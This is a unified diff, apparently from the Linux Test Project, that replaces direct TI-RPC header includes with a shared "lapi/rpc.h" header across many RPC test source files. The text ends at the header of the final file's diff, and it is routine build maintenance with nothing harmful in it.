diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr.c
index db36875..05faaf5 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr_limits.c
index 6fa11d9..b1a31d9 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getaddr/tirpc_rpcb_getaddr_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getmaps/tirpc_rpcb_getmaps.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getmaps/tirpc_rpcb_getmaps.c
index 68e2fc4..32220d1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getmaps/tirpc_rpcb_getmaps.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_addrmanagmt_rpcb_getmaps/tirpc_rpcb_getmaps.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_create/tirpc_authdes_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_create/tirpc_authdes_create.c
index 395a812..bd52f5c 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_create/tirpc_authdes_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_create/tirpc_authdes_create.c
@@ -28,8 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_seccreate/tirpc_authdes_seccreate.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_seccreate/tirpc_authdes_seccreate.c
index c9e3d48..87b07ec 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_seccreate/tirpc_authdes_seccreate.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authdes_seccreate/tirpc_authdes_seccreate.c
@@ -28,8 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authnone_create/tirpc_authnone_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authnone_create/tirpc_authnone_create.c
index 1daf2ad..fe96218 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authnone_create/tirpc_authnone_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authnone_create/tirpc_authnone_create.c
@@ -28,8 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create/tirpc_authsys_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create/tirpc_authsys_create.c
index fe1e433..c7cbb4c 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create/tirpc_authsys_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create/tirpc_authsys_create.c
@@ -29,8 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <unistd.h>
-#include <tirpc/rpc/rpc.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create_default/tirpc_authsys_create_default.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create_default/tirpc_authsys_create_default.c
index 7d961fb..f4f98b8 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create_default/tirpc_authsys_create_default.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_auth_authsys_create_default/tirpc_authsys_create_default.c
@@ -28,8 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call.c
index d46aa9e..47875c6 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call.c
@@ -27,13 +27,11 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <unistd.h>
 #include "librpc-tirpc.h"
+#include "lapi/rpc.h"
 
 #define PROCNUM 1
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_complex.c
index 80bb51c..11af029 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_complex.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCTHREADPROC	1000
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_dataint.c
index e52c993..22d9098 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_mt.c
index 85bff16..708f8c3 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_performance.c
index 1b9ecdb..8614eba 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_scalability.c
index 70fc1c8..361ce55 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_stress.c
index 97d64e6..b91cc6a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_call/tirpc_bottomlevel_clnt_call_stress.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create.c
index dd557be..51be072 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create.c
@@ -27,13 +27,11 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <unistd.h>
 #include "librpc-tirpc.h"
+#include "lapi/rpc.h"
 
 #define PROCNUM 1
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create_limits.c
index 0dead8f..e47d2fc 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_dg_create/tirpc_clnt_dg_create_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create.c
index 3187b67..63ed92e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create.c
@@ -27,13 +27,11 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <unistd.h>
 #include "librpc-tirpc.h"
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create_limits.c
index 8feeb86..75d80c1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_clnt_vc_create/tirpc_clnt_vc_create_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c
index 955c9c6..91f9663 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c
@@ -27,13 +27,11 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <unistd.h>
 #include "librpc-tirpc.h"
+#include "lapi/rpc.h"
 
 #define PROCNUM 1
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create_limits.c
index 54cb5b9..8d9e1bc 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c
index b4857da..d7e9882 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c
@@ -27,13 +27,11 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <unistd.h>
 #include "librpc-tirpc.h"
+#include "lapi/rpc.h"
 
 #define PROCNUM 1
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create_limits.c
index 2718026..ba84f98 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_pcreateerror/tirpc_clnt_pcreateerror.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_pcreateerror/tirpc_clnt_pcreateerror.c
index a49e4b5..01eee32 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_pcreateerror/tirpc_clnt_pcreateerror.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_pcreateerror/tirpc_clnt_pcreateerror.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno.c
index cc25e23..836fffb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno_complex.c
index 7c87100..d63b60a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perrno/tirpc_clnt_perrno_complex.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror.c
index 6fc08e8..d18f56f 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror_complex.c
index dd1314e..ac5484e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_clnt_perror/tirpc_clnt_perror_complex.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noproc/tirpc_svcerr_noproc.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noproc/tirpc_svcerr_noproc.c
index 51efcf5..02ac040 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noproc/tirpc_svcerr_noproc.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noproc/tirpc_svcerr_noproc.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 667
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noprog/tirpc_svcerr_noprog.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noprog/tirpc_svcerr_noprog.c
index e81a9fe..ef630b0 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noprog/tirpc_svcerr_noprog.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_noprog/tirpc_svcerr_noprog.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_progvers/tirpc_svcerr_progvers.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_progvers/tirpc_svcerr_progvers.c
index 945d8c3..cc057a1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_progvers/tirpc_svcerr_progvers.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_progvers/tirpc_svcerr_progvers.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_systemerr/tirpc_svcerr_systemerr.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_systemerr/tirpc_svcerr_systemerr.c
index e43b84f..6fde360 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_systemerr/tirpc_svcerr_systemerr.c
